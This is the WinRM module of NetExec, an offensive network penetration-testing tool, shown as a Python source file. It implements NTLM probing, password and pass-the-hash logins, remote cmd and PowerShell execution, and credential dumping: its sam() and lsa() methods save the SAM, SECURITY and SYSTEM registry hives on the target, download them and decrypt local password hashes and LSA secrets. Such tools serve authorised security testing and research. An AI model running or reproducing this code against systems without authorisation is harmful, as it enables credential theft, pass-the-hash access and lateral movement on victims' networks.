Files
Pennyw0rth-NetExec/nxc/protocols/winrm.py
T

313 lines
14 KiB
Python

import os
import base64
import requests
import urllib3
import logging
import xml.etree.ElementTree as ET
from io import StringIO
from datetime import datetime
from pypsrp.wsman import NAMESPACES
from pypsrp.client import Client
from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
from nxc.config import process_secret
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import gen_random_string
from nxc.helpers.ntlm_parser import parse_challenge
from nxc.logger import NXCAdapter
urllib3.disable_warnings()
class winrm(connection):
def __init__(self, args, db, host):
self.domain = ""
self.targedDomain = ""
self.server_os = None
self.output_filename = None
self.endpoint = None
self.hash = None
self.lmhash = ""
self.nthash = ""
self.ssl = False
self.challenge_header = None
connection.__init__(self, args, db, host)
def proto_logger(self):
# For more details, please check the function "print_host_info"
logging.getLogger("pypsrp").disabled = True
logging.getLogger("pypsrp.wsman").disabled = True
self.logger = NXCAdapter(
extra={
"protocol": "WINRM",
"host": self.host,
"port": "5985",
"hostname": self.hostname,
}
)
def enum_host_info(self):
ntlm_info = parse_challenge(base64.b64decode(self.challenge_header.split(" ")[1].replace(",", "")))
self.targetDomain = self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os)
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
def print_host_info(self):
self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM"
self.logger.extra["port"] = self.port
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
def create_conn_obj(self):
if self.is_link_local_ipv6:
self.logger.fail("winrm not support link-local ipv6, exiting...")
return False
endpoints = {}
headers = {
"Content-Length": "0",
"Keep-Alive": "true",
"Content-Type": "application/soap+xml;charset=UTF-8",
"User-Agent": "Microsoft WinRM Client",
"Authorization": "Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="
}
for protocol in self.args.check_proto:
endpoints[protocol] = {}
endpoints[protocol]["port"] = self.port[self.args.check_proto.index(protocol)] if len(self.port) == 2 else self.port[0]
endpoints[protocol]["url"] = "{}://{}:{}/wsman".format(
protocol,
self.host if not self.is_ipv6 else f"[{self.host}]",
endpoints[protocol]["port"]
)
endpoints[protocol]["ssl"] = (protocol != "http")
for protocol in endpoints:
self.port = endpoints[protocol]["port"]
try:
self.logger.debug(f"Requesting URL: {endpoints[protocol]['url']}")
res = requests.post(endpoints[protocol]["url"], headers=headers, verify=False, timeout=self.args.http_timeout)
self.logger.debug(f"Received response code: {res.status_code}")
self.challenge_header = res.headers["WWW-Authenticate"]
if (not self.challenge_header) or ("Negotiate" not in self.challenge_header):
self.logger.info('Failed to get NTLM challenge from target "/wsman" endpoint, maybe isn\'t winrm service.')
return False
self.endpoint = endpoints[protocol]["url"]
self.ssl = endpoints[protocol]["ssl"]
return True
except requests.exceptions.Timeout as e:
self.logger.info(f"Connection Timed out to WinRM service: {e}")
except requests.exceptions.ConnectionError as e:
if "Max retries exceeded with url" in str(e):
self.logger.info("Connection Timeout to WinRM service (max retries exceeded)")
else:
self.logger.info(f"Other ConnectionError to WinRM service: {e}")
return False
def check_if_admin(self):
wsman = self.conn.wsman
wsen = NAMESPACES["wsen"]
wsmn = NAMESPACES["wsman"]
enum_msg = ET.Element(f"{{{wsen}}}Enumerate")
ET.SubElement(enum_msg, f"{{{wsmn}}}OptimizeEnumeration")
ET.SubElement(enum_msg, f"{{{wsmn}}}MaxElements").text = "32000"
wsman.enumerate("http://schemas.microsoft.com/wbem/wsman/1/windows/shell", enum_msg)
self.admin_privs = True
return True
def plaintext_login(self, domain, username, password):
self.admin_privs = False
self.password = password
self.username = username
self.domain = domain
try:
self.conn = Client(
self.host,
port=self.port,
auth="ntlm",
username=f"{self.domain}\\{self.username}",
password=self.password,
ssl=self.ssl,
cert_validation=False,
)
self.check_if_admin()
self.logger.success(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
# TODO: when we can easily get the host_id via RETURNING statements, readd this in
if self.admin_privs:
self.logger.debug("Inside admin privs")
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id)
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
return True
except Exception as e:
if "with ntlm" in str(e):
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)}")
else:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {e!s}")
return False
def hash_login(self, domain, username, ntlm_hash):
self.admin_privs = False
lmhash = "00000000000000000000000000000000"
nthash = ""
self.username = username
# This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
else:
nthash = ntlm_hash
self.lmhash = lmhash
self.nthash = nthash
self.domain = domain
try:
self.conn = Client(
self.host,
port=self.port,
auth="ntlm",
username=f"{self.domain}\\{self.username}",
password=f"{self.lmhash}:{self.nthash}",
ssl=self.ssl,
cert_validation=False,
)
self.check_if_admin()
self.logger.success(f"{self.domain}\\{self.username}:{process_secret(nthash)} {self.mark_pwned()}")
if self.admin_privs:
self.db.add_admin_user("hash", domain, self.username, nthash, self.host)
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
return True
except Exception as e:
if "with ntlm" in str(e):
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.nthash)}")
else:
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {e!s}")
return False
def execute(self, payload=None, get_output=True, shell_type="cmd"):
if not payload:
payload = self.args.execute
if self.args.no_output:
get_output = False
try:
result = self.conn.execute_cmd(payload, encoding=self.args.codec) if shell_type == "cmd" else self.conn.execute_ps(payload)
except Exception as e:
# Reference: https://github.com/diyan/pywinrm/issues/275
if hasattr(e, "code") and e.code == 5:
self.logger.fail(f"Execute command failed, current user: '{self.domain}\\{self.username}' has no 'Invoke' rights to execute command (shell type: {shell_type})")
if shell_type == "cmd":
self.logger.info("Cannot execute command via cmd, the user probably does not have invoke rights with Root WinRM listener - now switching to Powershell to attempt execution")
self.execute(payload, get_output, shell_type="powershell")
elif ("decode" in str(e)) and not get_output:
self.logger.success(f"Executed command (shell type: {shell_type})")
else:
self.logger.fail(f"Execute command failed, error: {e!s}")
else:
self.logger.success(f"Executed command (shell type: {shell_type})")
buf = StringIO(result[0]).readlines() if get_output else ""
for line in buf:
self.logger.highlight(line.strip())
def ps_execute(self):
self.execute(payload=self.args.ps_execute, get_output=True, shell_type="powershell")
# Dos attack prevent:
# if someboby executed "reg save HKLM\sam C:\windows\temp\sam" before, but didn't remove "C:\windows\temp\sam" file,
# when user execute the same command next time, in tty shell, the prompt will ask "File C:\windows\temp\sam already exists. Overwrite (Yes/No)?"
# but in here, it isn't not a tty shell, pypsrp will do a crazy loop command execution when it didn't get any response (stuck in "Yes/No" prompt)
# and it will make target host OOM error just like dos attack.
# To prevent that, just make the store file name randomly.
def sam(self):
sam_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
try:
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
self.conn.fetch(f"C:\\windows\\temp\\{sam_storename}", self.output_filename + ".sam")
self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", self.output_filename + ".system")
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
except Exception as e:
if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)):
self.logger.fail("Failed to dump SAM hashes, it may have been detected by AV or current user is not privileged user")
elif hasattr(e, "code") and e.code == 5:
self.logger.fail(f"Dump SAM hashes with {self.args.dump_method} failed, please try '--dump-method'")
else:
self.logger.fail(f"Failed to dump SAM hashes, error: {e!s}")
else:
local_operations = LocalOperations(f"{self.output_filename}.system")
boot_key = local_operations.getBootKey()
SAM = SAMHashes(
f"{self.output_filename}.sam",
boot_key,
isRemote=None,
perSecretCallback=lambda secret: self.logger.highlight(secret),
)
SAM.dump()
SAM.export(f"{self.output_filename}.sam")
def lsa(self):
security_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
try:
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
self.conn.fetch(f"C:\\windows\\temp\\{security_storename}", f"{self.output_filename}.security")
self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", f"{self.output_filename}.system")
self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'")
except Exception as e:
if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)):
self.logger.fail("Failed to dump LSA secrets, it may have been detected by AV or current user is not privileged user")
elif hasattr(e, "code") and e.code == 5:
self.logger.fail(f"Dump LSA secrets with {self.args.dump_method} failed, please try '--dump-method'")
else:
self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}")
else:
local_operations = LocalOperations(f"{self.output_filename}.system")
boot_key = local_operations.getBootKey()
LSA = LSASecrets(
f"{self.output_filename}.security",
boot_key,
None,
isRemote=None,
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
)
LSA.dumpCachedHashes()
LSA.dumpSecrets()